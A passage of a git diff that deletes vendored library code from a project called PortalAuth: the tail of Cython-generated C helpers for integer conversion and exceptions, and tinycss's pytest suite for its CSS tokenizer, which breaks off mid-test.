__Pyx_PyInt_AsLongDouble(PyObject* x) { - const int neg_one = (int)-1, const_zero = 0; - const int is_unsigned = neg_one > const_zero; - if (sizeof(int) < sizeof(long)) { - long val = __Pyx_PyInt_AsLong(x); - if (unlikely(val != (long)(int)val)) { - if (!unlikely(val == -1 && PyErr_Occurred())) { - PyErr_SetString(PyExc_OverflowError, - (is_unsigned && unlikely(val < 0)) ? - "can't convert negative value to int" : - "value too large to convert to int"); - } - return (int)-1; - } - return (int)val; - } - return (int)__Pyx_PyInt_AsLong(x); -} - -static CYTHON_INLINE unsigned long __Pyx_PyInt_AsUnsignedLong(PyObject* x) { - const unsigned long neg_one = (unsigned long)-1, const_zero = 0; - const int is_unsigned = neg_one > const_zero; -#if PY_VERSION_HEX < 0x03000000 - if (likely(PyInt_Check(x))) { - long val = PyInt_AS_LONG(x); - if (is_unsigned && unlikely(val < 0)) { - PyErr_SetString(PyExc_OverflowError, - "can't convert negative value to unsigned long"); - return (unsigned long)-1; - } - return (unsigned long)val; - } else -#endif - if (likely(PyLong_Check(x))) { - if (is_unsigned) { - if (unlikely(Py_SIZE(x) < 0)) { - PyErr_SetString(PyExc_OverflowError, - "can't convert negative value to unsigned long"); - return (unsigned long)-1; - } - return (unsigned long)PyLong_AsUnsignedLong(x); - } else { - return (unsigned long)PyLong_AsLong(x); - } - } else { - unsigned long val; - PyObject *tmp = __Pyx_PyNumber_Int(x); - if (!tmp) return (unsigned long)-1; - val = __Pyx_PyInt_AsUnsignedLong(tmp); - Py_DECREF(tmp); - return val; - } -} - -static CYTHON_INLINE unsigned PY_LONG_LONG __Pyx_PyInt_AsUnsignedLongLong(PyObject* x) { - const unsigned PY_LONG_LONG neg_one = (unsigned PY_LONG_LONG)-1, const_zero = 0; - const int is_unsigned = neg_one > const_zero; -#if PY_VERSION_HEX < 0x03000000 - if (likely(PyInt_Check(x))) { - long val = PyInt_AS_LONG(x); - if (is_unsigned && unlikely(val < 0)) { - PyErr_SetString(PyExc_OverflowError, - "can't convert negative value to unsigned PY_LONG_LONG"); - return (unsigned PY_LONG_LONG)-1; - } - return (unsigned PY_LONG_LONG)val; - } else -#endif - if (likely(PyLong_Check(x))) { - if (is_unsigned) { - if (unlikely(Py_SIZE(x) < 0)) { - PyErr_SetString(PyExc_OverflowError, - "can't convert negative value to unsigned PY_LONG_LONG"); - return (unsigned PY_LONG_LONG)-1; - } - return (unsigned PY_LONG_LONG)PyLong_AsUnsignedLongLong(x); - } else { - return (unsigned PY_LONG_LONG)PyLong_AsLongLong(x); - } - } else { - unsigned PY_LONG_LONG val; - PyObject *tmp = __Pyx_PyNumber_Int(x); - if (!tmp) return (unsigned PY_LONG_LONG)-1; - val = __Pyx_PyInt_AsUnsignedLongLong(tmp); - Py_DECREF(tmp); - return val; - } -} - -static CYTHON_INLINE long __Pyx_PyInt_AsLong(PyObject* x) { - const long neg_one = (long)-1, const_zero = 0; - const int is_unsigned = neg_one > const_zero; -#if PY_VERSION_HEX < 0x03000000 - if (likely(PyInt_Check(x))) { - long val = PyInt_AS_LONG(x); - if (is_unsigned && unlikely(val < 0)) { - PyErr_SetString(PyExc_OverflowError, - "can't convert negative value to long"); - return (long)-1; - } - return (long)val; - } else -#endif - if (likely(PyLong_Check(x))) { - if (is_unsigned) { - if (unlikely(Py_SIZE(x) < 0)) { - PyErr_SetString(PyExc_OverflowError, - "can't convert negative value to long"); - return (long)-1; - } - return (long)PyLong_AsUnsignedLong(x); - } else { - return (long)PyLong_AsLong(x); - } - } else { - long val; - PyObject *tmp = __Pyx_PyNumber_Int(x); - if (!tmp) return (long)-1; - val = __Pyx_PyInt_AsLong(tmp); - Py_DECREF(tmp); - return val; - } -} - -static CYTHON_INLINE PY_LONG_LONG __Pyx_PyInt_AsLongLong(PyObject* x) { - const PY_LONG_LONG neg_one = (PY_LONG_LONG)-1, const_zero = 0; - const int is_unsigned = neg_one > const_zero; -#if PY_VERSION_HEX < 0x03000000 - if (likely(PyInt_Check(x))) { - long val = PyInt_AS_LONG(x); - if (is_unsigned && unlikely(val < 0)) { - PyErr_SetString(PyExc_OverflowError, - "can't convert negative value to PY_LONG_LONG"); - return (PY_LONG_LONG)-1; - } - return (PY_LONG_LONG)val; - } else -#endif - if (likely(PyLong_Check(x))) { - if (is_unsigned) { - if (unlikely(Py_SIZE(x) < 0)) { - PyErr_SetString(PyExc_OverflowError, - "can't convert negative value to PY_LONG_LONG"); - return (PY_LONG_LONG)-1; - } - return (PY_LONG_LONG)PyLong_AsUnsignedLongLong(x); - } else { - return (PY_LONG_LONG)PyLong_AsLongLong(x); - } - } else { - PY_LONG_LONG val; - PyObject *tmp = __Pyx_PyNumber_Int(x); - if (!tmp) return (PY_LONG_LONG)-1; - val = __Pyx_PyInt_AsLongLong(tmp); - Py_DECREF(tmp); - return val; - } -} - -static CYTHON_INLINE signed long __Pyx_PyInt_AsSignedLong(PyObject* x) { - const signed long neg_one = (signed long)-1, const_zero = 0; - const int is_unsigned = neg_one > const_zero; -#if PY_VERSION_HEX < 0x03000000 - if (likely(PyInt_Check(x))) { - long val = PyInt_AS_LONG(x); - if (is_unsigned && unlikely(val < 0)) { - PyErr_SetString(PyExc_OverflowError, - "can't convert negative value to signed long"); - return (signed long)-1; - } - return (signed long)val; - } else -#endif - if (likely(PyLong_Check(x))) { - if (is_unsigned) { - if (unlikely(Py_SIZE(x) < 0)) { - PyErr_SetString(PyExc_OverflowError, - "can't convert negative value to signed long"); - return (signed long)-1; - } - return (signed long)PyLong_AsUnsignedLong(x); - } else { - return (signed long)PyLong_AsLong(x); - } - } else { - signed long val; - PyObject *tmp = __Pyx_PyNumber_Int(x); - if (!tmp) return (signed long)-1; - val = __Pyx_PyInt_AsSignedLong(tmp); - Py_DECREF(tmp); - return val; - } -} - -static CYTHON_INLINE signed PY_LONG_LONG __Pyx_PyInt_AsSignedLongLong(PyObject* x) { - const signed PY_LONG_LONG neg_one = (signed PY_LONG_LONG)-1, const_zero = 0; - const int is_unsigned = neg_one > const_zero; -#if PY_VERSION_HEX < 0x03000000 - if (likely(PyInt_Check(x))) { - long val = PyInt_AS_LONG(x); - if (is_unsigned && unlikely(val < 0)) { - PyErr_SetString(PyExc_OverflowError, - "can't convert negative value to signed PY_LONG_LONG"); - return (signed PY_LONG_LONG)-1; - } - return (signed PY_LONG_LONG)val; - } else -#endif - if (likely(PyLong_Check(x))) { - if (is_unsigned) { - if (unlikely(Py_SIZE(x) < 0)) { - PyErr_SetString(PyExc_OverflowError, - "can't convert negative value to signed PY_LONG_LONG"); - return (signed PY_LONG_LONG)-1; - } - return (signed PY_LONG_LONG)PyLong_AsUnsignedLongLong(x); - } else { - return (signed PY_LONG_LONG)PyLong_AsLongLong(x); - } - } else { - signed PY_LONG_LONG val; - PyObject *tmp = __Pyx_PyNumber_Int(x); - if (!tmp) return (signed PY_LONG_LONG)-1; - val = __Pyx_PyInt_AsSignedLongLong(tmp); - Py_DECREF(tmp); - return val; - } -} - -static CYTHON_INLINE void __Pyx_ErrRestore(PyObject *type, PyObject *value, PyObject *tb) { - PyObject *tmp_type, *tmp_value, *tmp_tb; - PyThreadState *tstate = PyThreadState_GET(); - - tmp_type = tstate->curexc_type; - tmp_value = tstate->curexc_value; - tmp_tb = tstate->curexc_traceback; - tstate->curexc_type = type; - tstate->curexc_value = value; - tstate->curexc_traceback = tb; - Py_XDECREF(tmp_type); - Py_XDECREF(tmp_value); - Py_XDECREF(tmp_tb); -} - -static CYTHON_INLINE void __Pyx_ErrFetch(PyObject **type, PyObject **value, PyObject **tb) { - PyThreadState *tstate = PyThreadState_GET(); - *type = tstate->curexc_type; - *value = tstate->curexc_value; - *tb = tstate->curexc_traceback; - - tstate->curexc_type = 0; - tstate->curexc_value = 0; - tstate->curexc_traceback = 0; -} - - -#if PY_MAJOR_VERSION < 3 -static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause) { - /* cause is unused */ - Py_XINCREF(type); - Py_XINCREF(value); - Py_XINCREF(tb); - /* First, check the traceback argument, replacing None with NULL. */ - if (tb == Py_None) { - Py_DECREF(tb); - tb = 0; - } - else if (tb != NULL && !PyTraceBack_Check(tb)) { - PyErr_SetString(PyExc_TypeError, - "raise: arg 3 must be a traceback or None"); - goto raise_error; - } - /* Next, replace a missing value with None */ - if (value == NULL) { - value = Py_None; - Py_INCREF(value); - } - #if PY_VERSION_HEX < 0x02050000 - if (!PyClass_Check(type)) - #else - if (!PyType_Check(type)) - #endif - { - /* Raising an instance. The value should be a dummy. */ - if (value != Py_None) { - PyErr_SetString(PyExc_TypeError, - "instance exception may not have a separate value"); - goto raise_error; - } - /* Normalize to raise , */ - Py_DECREF(value); - value = type; - #if PY_VERSION_HEX < 0x02050000 - if (PyInstance_Check(type)) { - type = (PyObject*) ((PyInstanceObject*)type)->in_class; - Py_INCREF(type); - } - else { - type = 0; - PyErr_SetString(PyExc_TypeError, - "raise: exception must be an old-style class or instance"); - goto raise_error; - } - #else - type = (PyObject*) Py_TYPE(type); - Py_INCREF(type); - if (!PyType_IsSubtype((PyTypeObject *)type, (PyTypeObject *)PyExc_BaseException)) { - PyErr_SetString(PyExc_TypeError, - "raise: exception class must be a subclass of BaseException"); - goto raise_error; - } - #endif - } - - __Pyx_ErrRestore(type, value, tb); - return; -raise_error: - Py_XDECREF(value); - Py_XDECREF(type); - Py_XDECREF(tb); - return; -} - -#else /* Python 3+ */ - -static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause) { - if (tb == Py_None) { - tb = 0; - } else if (tb && !PyTraceBack_Check(tb)) { - PyErr_SetString(PyExc_TypeError, - "raise: arg 3 must be a traceback or None"); - goto bad; - } - if (value == Py_None) - value = 0; - - if (PyExceptionInstance_Check(type)) { - if (value) { - PyErr_SetString(PyExc_TypeError, - "instance exception may not have a separate value"); - goto bad; - } - value = type; - type = (PyObject*) Py_TYPE(value); - } else if (!PyExceptionClass_Check(type)) { - PyErr_SetString(PyExc_TypeError, - "raise: exception class must be a subclass of BaseException"); - goto bad; - } - - if (cause) { - PyObject *fixed_cause; - if (PyExceptionClass_Check(cause)) { - fixed_cause = PyObject_CallObject(cause, NULL); - if (fixed_cause == NULL) - goto bad; - } - else if (PyExceptionInstance_Check(cause)) { - fixed_cause = cause; - Py_INCREF(fixed_cause); - } - else { - PyErr_SetString(PyExc_TypeError, - "exception causes must derive from " - "BaseException"); - goto bad; - } - if (!value) { - value = PyObject_CallObject(type, NULL); - } - PyException_SetCause(value, fixed_cause); - } - - PyErr_SetObject(type, value); - - if (tb) { - PyThreadState *tstate = PyThreadState_GET(); - PyObject* tmp_tb = tstate->curexc_traceback; - if (tb != tmp_tb) { - Py_INCREF(tb); - tstate->curexc_traceback = tb; - Py_XDECREF(tmp_tb); - } - } - -bad: - return; -} -#endif - -static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb) { - PyObject *tmp_type, *tmp_value, *tmp_tb; - PyThreadState *tstate = PyThreadState_GET(); - - tmp_type = tstate->exc_type; - tmp_value = tstate->exc_value; - tmp_tb = tstate->exc_traceback; - - tstate->exc_type = *type; - tstate->exc_value = *value; - tstate->exc_traceback = *tb; - - *type = tmp_type; - *value = tmp_value; - *tb = tmp_tb; -} - -static CYTHON_INLINE void __Pyx_Generator_ExceptionClear(struct __pyx_Generator_object *self) -{ - Py_XDECREF(self->exc_type); - Py_XDECREF(self->exc_value); - Py_XDECREF(self->exc_traceback); - - self->exc_type = NULL; - self->exc_value = NULL; - self->exc_traceback = NULL; -} - -static CYTHON_INLINE PyObject *__Pyx_Generator_SendEx(struct __pyx_Generator_object *self, PyObject *value) -{ - PyObject *retval; - - if (self->is_running) { - PyErr_SetString(PyExc_ValueError, - "generator already executing"); - return NULL; - } - - if (self->resume_label == 0) { - if (value && value != Py_None) { - PyErr_SetString(PyExc_TypeError, - "can't send non-None value to a " - "just-started generator"); - return NULL; - } - } - - if (self->resume_label == -1) { - PyErr_SetNone(PyExc_StopIteration); - return NULL; - } - - - if (value) - __Pyx_ExceptionSwap(&self->exc_type, &self->exc_value, &self->exc_traceback); - else - __Pyx_Generator_ExceptionClear(self); - - self->is_running = 1; - retval = self->body((PyObject *) self, value); - self->is_running = 0; - - if (retval) - __Pyx_ExceptionSwap(&self->exc_type, &self->exc_value, &self->exc_traceback); - else - __Pyx_Generator_ExceptionClear(self); - - return retval; -} - -static PyObject *__Pyx_Generator_Next(PyObject *self) -{ - return __Pyx_Generator_SendEx((struct __pyx_Generator_object *) self, Py_None); -} - -static PyObject *__Pyx_Generator_Send(PyObject *self, PyObject *value) -{ - return __Pyx_Generator_SendEx((struct __pyx_Generator_object *) self, value); -} - -static PyObject *__Pyx_Generator_Close(PyObject *self) -{ - struct __pyx_Generator_object *generator = (struct __pyx_Generator_object *) self; - PyObject *retval; -#if PY_VERSION_HEX < 0x02050000 - PyErr_SetNone(PyExc_StopIteration); -#else - PyErr_SetNone(PyExc_GeneratorExit); -#endif - retval = __Pyx_Generator_SendEx(generator, NULL); - if (retval) { - Py_DECREF(retval); - PyErr_SetString(PyExc_RuntimeError, - "generator ignored GeneratorExit"); - return NULL; - } -#if PY_VERSION_HEX < 0x02050000 - if (PyErr_ExceptionMatches(PyExc_StopIteration)) -#else - if (PyErr_ExceptionMatches(PyExc_StopIteration) - || PyErr_ExceptionMatches(PyExc_GeneratorExit)) -#endif - { - PyErr_Clear(); /* ignore these errors */ - Py_INCREF(Py_None); - return Py_None; - } - return NULL; -} - -static PyObject *__Pyx_Generator_Throw(PyObject *self, PyObject *args, CYTHON_UNUSED PyObject *kwds) -{ - struct __pyx_Generator_object *generator = (struct __pyx_Generator_object *) self; - PyObject *typ; - PyObject *tb = NULL; - PyObject *val = NULL; - - if (!PyArg_UnpackTuple(args, (char *)"throw", 1, 3, &typ, &val, &tb)) - return NULL; - __Pyx_Raise(typ, val, tb, NULL); - return __Pyx_Generator_SendEx(generator, NULL); -} - -static int __Pyx_check_binary_version(void) { - char ctversion[4], rtversion[4]; - PyOS_snprintf(ctversion, 4, "%d.%d", PY_MAJOR_VERSION, PY_MINOR_VERSION); - PyOS_snprintf(rtversion, 4, "%s", Py_GetVersion()); - if (ctversion[0] != rtversion[0] || ctversion[2] != rtversion[2]) { - char message[200]; - PyOS_snprintf(message, sizeof(message), - "compiletime version %s of module '%.100s' " - "does not match runtime version %s", - ctversion, __Pyx_MODULE_NAME, rtversion); - #if PY_VERSION_HEX < 0x02050000 - return PyErr_Warn(NULL, message); - #else - return PyErr_WarnEx(NULL, message, 1); - #endif - } - return 0; -} - -#include "compile.h" -#include "frameobject.h" -#include "traceback.h" - -static void __Pyx_AddTraceback(const char *funcname, int __pyx_clineno, - int __pyx_lineno, const char *__pyx_filename) { - PyObject *py_srcfile = 0; - PyObject *py_funcname = 0; - PyObject *py_globals = 0; - PyCodeObject *py_code = 0; - PyFrameObject *py_frame = 0; - - #if PY_MAJOR_VERSION < 3 - py_srcfile = PyString_FromString(__pyx_filename); - #else - py_srcfile = PyUnicode_FromString(__pyx_filename); - #endif - if (!py_srcfile) goto bad; - if (__pyx_clineno) { - #if PY_MAJOR_VERSION < 3 - py_funcname = PyString_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, __pyx_clineno); - #else - py_funcname = PyUnicode_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, __pyx_clineno); - #endif - } - else { - #if PY_MAJOR_VERSION < 3 - py_funcname = PyString_FromString(funcname); - #else - py_funcname = PyUnicode_FromString(funcname); - #endif - } - if (!py_funcname) goto bad; - py_globals = PyModule_GetDict(__pyx_m); - if (!py_globals) goto bad; - py_code = PyCode_New( - 0, /*int argcount,*/ - #if PY_MAJOR_VERSION >= 3 - 0, /*int kwonlyargcount,*/ - #endif - 0, /*int nlocals,*/ - 0, /*int stacksize,*/ - 0, /*int flags,*/ - __pyx_empty_bytes, /*PyObject *code,*/ - __pyx_empty_tuple, /*PyObject *consts,*/ - __pyx_empty_tuple, /*PyObject *names,*/ - __pyx_empty_tuple, /*PyObject *varnames,*/ - __pyx_empty_tuple, /*PyObject *freevars,*/ - __pyx_empty_tuple, /*PyObject *cellvars,*/ - py_srcfile, /*PyObject *filename,*/ - py_funcname, /*PyObject *name,*/ - __pyx_lineno, /*int firstlineno,*/ - __pyx_empty_bytes /*PyObject *lnotab*/ - ); - if (!py_code) goto bad; - py_frame = PyFrame_New( - PyThreadState_GET(), /*PyThreadState *tstate,*/ - py_code, /*PyCodeObject *code,*/ - py_globals, /*PyObject *globals,*/ - 0 /*PyObject *locals*/ - ); - if (!py_frame) goto bad; - py_frame->f_lineno = __pyx_lineno; - PyTraceBack_Here(py_frame); -bad: - Py_XDECREF(py_srcfile); - Py_XDECREF(py_funcname); - Py_XDECREF(py_code); - Py_XDECREF(py_frame); -} - -static int __Pyx_InitStrings(__Pyx_StringTabEntry *t) { - while (t->p) { - #if PY_MAJOR_VERSION < 3 - if (t->is_unicode) { - *t->p = PyUnicode_DecodeUTF8(t->s, t->n - 1, NULL); - } else if (t->intern) { - *t->p = PyString_InternFromString(t->s); - } else { - *t->p = PyString_FromStringAndSize(t->s, t->n - 1); - } - #else /* Python 3+ has unicode identifiers */ - if (t->is_unicode | t->is_str) { - if (t->intern) { - *t->p = PyUnicode_InternFromString(t->s); - } else if (t->encoding) { - *t->p = PyUnicode_Decode(t->s, t->n - 1, t->encoding, NULL); - } else { - *t->p = PyUnicode_FromStringAndSize(t->s, t->n - 1); - } - } else { - *t->p = PyBytes_FromStringAndSize(t->s, t->n - 1); - } - #endif - if (!*t->p) - return -1; - ++t; - } - return 0; -} - -/* Type Conversion Functions */ - -static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject* x) { - int is_true = x == Py_True; - if (is_true | (x == Py_False) | (x == Py_None)) return is_true; - else return PyObject_IsTrue(x); -} - -static CYTHON_INLINE PyObject* __Pyx_PyNumber_Int(PyObject* x) { - PyNumberMethods *m; - const char *name = NULL; - PyObject *res = NULL; -#if PY_VERSION_HEX < 0x03000000 - if (PyInt_Check(x) || PyLong_Check(x)) -#else - if (PyLong_Check(x)) -#endif - return Py_INCREF(x), x; - m = Py_TYPE(x)->tp_as_number; -#if PY_VERSION_HEX < 0x03000000 - if (m && m->nb_int) { - name = "int"; - res = PyNumber_Int(x); - } - else if (m && m->nb_long) { - name = "long"; - res = PyNumber_Long(x); - } -#else - if (m && m->nb_int) { - name = "int"; - res = PyNumber_Long(x); - } -#endif - if (res) { -#if PY_VERSION_HEX < 0x03000000 - if (!PyInt_Check(res) && !PyLong_Check(res)) { -#else - if (!PyLong_Check(res)) { -#endif - PyErr_Format(PyExc_TypeError, - "__%s__ returned non-%s (type %.200s)", - name, name, Py_TYPE(res)->tp_name); - Py_DECREF(res); - return NULL; - } - } - else if (!PyErr_Occurred()) { - PyErr_SetString(PyExc_TypeError, - "an integer is required"); - } - return res; -} - -static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject* b) { - Py_ssize_t ival; - PyObject* x = PyNumber_Index(b); - if (!x) return -1; - ival = PyInt_AsSsize_t(x); - Py_DECREF(x); - return ival; -} - -static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t ival) { -#if PY_VERSION_HEX < 0x02050000 - if (ival <= LONG_MAX) - return PyInt_FromLong((long)ival); - else { - unsigned char *bytes = (unsigned char *) &ival; - int one = 1; int little = (int)*(unsigned char*)&one; - return _PyLong_FromByteArray(bytes, sizeof(size_t), little, 0); - } -#else - return PyInt_FromSize_t(ival); -#endif -} - -static CYTHON_INLINE size_t __Pyx_PyInt_AsSize_t(PyObject* x) { - unsigned PY_LONG_LONG val = __Pyx_PyInt_AsUnsignedLongLong(x); - if (unlikely(val == (unsigned PY_LONG_LONG)-1 && PyErr_Occurred())) { - return (size_t)-1; - } else if (unlikely(val != (unsigned PY_LONG_LONG)(size_t)val)) { - PyErr_SetString(PyExc_OverflowError, - "value too large to convert to size_t"); - return (size_t)-1; - } - return (size_t)val; -} - - -#endif /* Py_PYTHON_H */ diff --git a/PortalAuth/includes/scripts/libs/tinycss/tests/test_tokenizer.py b/PortalAuth/includes/scripts/libs/tinycss/tests/test_tokenizer.py deleted file mode 100755 index 8ad6c59..0000000 --- a/PortalAuth/includes/scripts/libs/tinycss/tests/test_tokenizer.py +++ /dev/null @@ -1,310 +0,0 @@ -# coding: utf8 -""" - Tests for the tokenizer - ----------------------- - - :copyright: (c) 2012 by Simon Sapin. - :license: BSD, see LICENSE for more details. -""" - - -from __future__ import unicode_literals - -import sys -import os - -import pytest - -from tinycss.tokenizer import ( - python_tokenize_flat, cython_tokenize_flat, regroup) - - -def test_speedups(): - if os.environ.get('TINYCSS_SKIP_SPEEDUPS_TESTS'): # pragma: no cover - return - assert cython_tokenize_flat is not None, ( - 'Cython speedups are not installed, related tests will ' - 'be skipped. Set the TINYCSS_SKIP_SPEEDUPS_TESTS environment ' - 'variable if this is expected (eg. on PyPy).') - - -@pytest.mark.parametrize(('tokenize', 'css_source', 'expected_tokens'), [ - (tokenize,) + test_data - for tokenize in (python_tokenize_flat, cython_tokenize_flat) - for test_data in [ - ('', []), - ('red -->', - [('IDENT', 'red'), ('S', ' '), ('CDC', '-->')]), - # Longest match rule: no CDC - ('red-->', - [('IDENT', 'red--'), ('DELIM', '>')]), - - (r'''p[example="\ -foo(int x) {\ - this.x = x;\ -}\ -"]''', [ - ('IDENT', 'p'), - ('[', '['), - ('IDENT', 'example'), - ('DELIM', '='), - ('STRING', 'foo(int x) { this.x = x;}'), - (']', ']')]), - - #### Numbers are parsed - ('42 .5 -4pX 1.25em 30%', - [('INTEGER', 42), ('S', ' '), - ('NUMBER', .5), ('S', ' '), - # units are normalized to lower-case: - ('DIMENSION', -4, 'px'), ('S', ' '), - ('DIMENSION', 1.25, 'em'), ('S', ' '), - ('PERCENTAGE', 30, '%')]), - - #### URLs are extracted - ('url(foo.png)', [('URI', 'foo.png')]), - ('url("foo.png")', [('URI', 'foo.png')]), - - #### Escaping - - (r'/* Comment with a \ backslash */', - [('COMMENT', '/* Comment with a \ backslash */')]), # Unchanged - - # backslash followed by a newline in a string: ignored - ('"Lorem\\\nIpsum"', [('STRING', 'LoremIpsum')]), - - # backslash followed by a newline outside a string: stands for itself - ('Lorem\\\nIpsum', [ - ('IDENT', 'Lorem'), ('DELIM', '\\'), - ('S', '\n'), ('IDENT', 'Ipsum')]), - - # Cancel the meaning of special characters - (r'"Lore\m Ipsum"', [('STRING', 'Lorem Ipsum')]), # or not specal - (r'"Lorem \49psum"', [('STRING', 'Lorem Ipsum')]), - (r'"Lorem \49 psum"', [('STRING', 'Lorem Ipsum')]), - (r'"Lorem\"Ipsum"', [('STRING', 'Lorem"Ipsum')]), - (r'"Lorem\\Ipsum"', [('STRING', r'Lorem\Ipsum')]), - (r'"Lorem\5c Ipsum"', [('STRING', r'Lorem\Ipsum')]), - (r'Lorem\+Ipsum', [('IDENT', 'Lorem+Ipsum')]), - (r'Lorem+Ipsum', [('IDENT', 'Lorem'), ('DELIM', '+'), ('IDENT', 'Ipsum')]), - (r'url(foo\).png)', [('URI', 'foo).png')]), - - # Unicode and backslash escaping - ('\\26 B', [('IDENT', '&B')]), - ('\\&B', [('IDENT', '&B')]), - ('@\\26\tB', [('ATKEYWORD', '@&B')]), - ('@\\&B', [('ATKEYWORD', '@&B')]), - ('#\\26\nB', [('HASH', '#&B')]), - ('#\\&B', [('HASH', '#&B')]), - ('\\26\r\nB(', [('FUNCTION', '&B(')]), - ('\\&B(', [('FUNCTION', '&B(')]), - (r'12.5\000026B', [('DIMENSION', 12.5, '&b')]), - (r'12.5\0000263B', [('DIMENSION', 12.5, '&3b')]), # max 6 digits - (r'12.5\&B', [('DIMENSION', 12.5, '&b')]), - (r'"\26 B"', [('STRING', '&B')]), - (r"'\000026B'", [('STRING', '&B')]), - (r'"\&B"', [('STRING', '&B')]), - (r'url("\26 B")', [('URI', '&B')]), - (r'url(\26 B)', [('URI', '&B')]), - (r'url("\&B")', [('URI', '&B')]), - (r'url(\&B)', [('URI', '&B')]), - (r'Lorem\110000Ipsum', [('IDENT', 'Lorem\uFFFDIpsum')]), - - #### Bad strings - - # String ends at EOF without closing: no error, parsed - ('"Lorem\\26Ipsum', [('STRING', 'Lorem&Ipsum')]), - # Unescaped newline: ends the string, error, unparsed - ('"Lorem\\26Ipsum\n', [ - ('BAD_STRING', r'"Lorem\26Ipsum'), ('S', '\n')]), - # Tokenization restarts after the newline, so the second " starts - # a new string (which ends at EOF without errors, as above.) - ('"Lorem\\26Ipsum\ndolor" sit', [ - ('BAD_STRING', r'"Lorem\26Ipsum'), ('S', '\n'), - ('IDENT', 'dolor'), ('STRING', ' sit')]), - -]]) -def test_tokens(tokenize, css_source, expected_tokens): - if tokenize is None: # pragma: no cover - pytest.skip('Speedups not available') - sources = [css_source] - if sys.version_info[0] < 3: - # On Python 2.x, ASCII-only bytestrings can be used - # where Unicode is expected. - sources.append(css_source.encode('ascii')) - for css_source in sources: - tokens = tokenize(css_source, ignore_comments=False) - result = [ - (token.type, token.value) + ( - () if token.unit is None else (token.unit,)) - for token in tokens - ] - assert result == expected_tokens - - -@pytest.mark.parametrize('tokenize', [ - python_tokenize_flat, cython_tokenize_flat]) -def test_positions(tokenize): - """Test the reported line/column position of each token.""" - if tokenize is None: # pragma: no cover - pytest.skip('Speedups not available') - css = '/* Lorem\nipsum */\fa {\n color: red;\tcontent: "dolor\\\fsit" }' - tokens = tokenize(css, ignore_comments=False) - result = [(token.type, token.line, token.column) for token in tokens] - assert result == [ - ('COMMENT', 1, 1), ('S', 2, 9), - ('IDENT', 3, 1), ('S', 3, 2), ('{', 3, 3), - ('S', 3, 4), ('IDENT', 4, 5), (':', 4, 10), - ('S', 4, 11), ('IDENT', 4, 12), (';', 4, 15), ('S', 4, 16), - ('IDENT', 4, 17), (':', 4, 24), ('S', 4, 25), ('STRING', 4, 26), - ('S', 5, 5), ('}', 5, 6)] - - -@pytest.mark.parametrize(('tokenize', 'css_source', 'expected_tokens'), [ - (tokenize,) + test_data - for tokenize in (python_tokenize_flat, cython_tokenize_flat) - for test_data in [ - ('', []), - (r'Lorem\26 "i\psum"4px', [ - ('IDENT', 'Lorem&'), ('STRING', 'ipsum'), ('DIMENSION', 4)]), - - ('not([[lorem]]{ipsum (42)})', [ - ('FUNCTION', 'not', [ - ('[', [ - ('[', [ - ('IDENT', 'lorem'), - ]), - ]), - ('{', [ - ('IDENT', 'ipsum'), - ('S', ' '), - ('(', [ - ('INTEGER', 42), - ]) - ]) - ])]), - - # Close everything at EOF, no error - ('a[b{"d', [ - ('IDENT', 'a'), - ('[', [ - ('IDENT', 'b'), - ('{', [ - ('STRING', 'd'), - ]), - ]), - ]), - - # Any remaining ), ] or } token is a nesting error - ('a[b{d]e}', [ - ('IDENT', 'a'), - ('[', [ - ('IDENT', 'b'), - ('{', [ - ('IDENT', 'd'), - (']', ']'), # The error is visible here - ('IDENT', 'e'), - ]), - ]), - ]), - # ref: - ('a[b{d}e]', [ - ('IDENT', 'a'), - ('[', [ - ('IDENT', 'b'), - ('{', [ - ('IDENT', 'd'), - ]), - ('IDENT', 'e'), - ]), - ]), -]]) -def test_token_grouping(tokenize, css_source, expected_tokens): - if tokenize is None: # pragma: no cover - pytest.skip('Speedups not available') - tokens = regroup(tokenize(css_source, ignore_comments=False)) - result = list(jsonify(tokens)) - assert result == expected_tokens - - -def jsonify(tokens): - """Turn tokens into "JSON-compatible" data structures.""" - for token in tokens: - if token.type == 'FUNCTION': - yield (token.type, token.function_name, - list(jsonify(token.content))) - elif token.is_container: - yield token.type, list(jsonify(token.content)) - else: - yield token.type, token.value - - -@pytest.mark.parametrize(('tokenize', 'ignore_comments', 'expected_tokens'), [ - (tokenize,) + test_data - for tokenize in (python_tokenize_flat, cython_tokenize_flat) - for test_data in [ - (False, [ - ('COMMENT', '/* lorem */'), - ('S', ' '), - ('IDENT', 'ipsum'), - ('[', [ - ('IDENT', 'dolor'), - ('COMMENT', '/* sit */'), - ]), - ('BAD_COMMENT', '/* amet') - ]), - (True, [ - ('S', ' '), - ('IDENT', 'ipsum'), - ('[', [ - ('IDENT', 'dolor'), - ]), - ]), -]]) -def test_comments(tokenize, ignore_comments, expected_tokens): - if tokenize is None: # pragma: no cover - pytest.skip('Speedups not available') - css_source = '/* lorem */ ipsum[dolor/* sit */]/* amet' - tokens = regroup(tokenize(css_source, ignore_comments)) - result = list(jsonify(tokens)) - assert result == expected_tokens - - -@pytest.mark.parametrize(('tokenize', 'css_source'), [ - (tokenize, test_data) - for tokenize in (python_tokenize_flat, cython_tokenize_flat) - for test_data in [ - r'''p[example="\ -foo(int x) {\ - this.x = x;\ -}\ -"]''', - '"Lorem\\26Ipsum\ndolor" sit', - '/* Lorem\nipsum */\fa {\n color: red;\tcontent: "dolor\\\fsit" }', - 'not([[lorem]]{ipsum (42)})', - 'a[b{d]e}', - 'a[b{"d', -]]) -def test_token_serialize_css(tokenize, css_source): - if tokenize is None: # pragma: no cover - pytest.skip('Speedups not available') - for _regroup in [regroup, lambda x: x]: - tokens = _regroup(tokenize(css_source, ignore_comments=False)) - result = ''.join(token.as_css() for token in tokens) - assert result == css_source - - -@pytest.mark.parametrize(('tokenize', 'css_source'), [ - (tokenize, test_data) - for tokenize in (python_tokenize_flat, cython_tokenize_flat) - for test_data in [ - '(8, foo, [z])', '[8, foo, (z)]', '{8, foo, [z]}', 'func(8, foo, [z])' - ] -]) -def test_token_api(tokenize, css_source): - if tokenize is None: # pragma: no cover - pytest.skip('Speedups not available') - tokens = list(regroup(tokenize(css_source))) - assert len(tokens) == 1 - token = 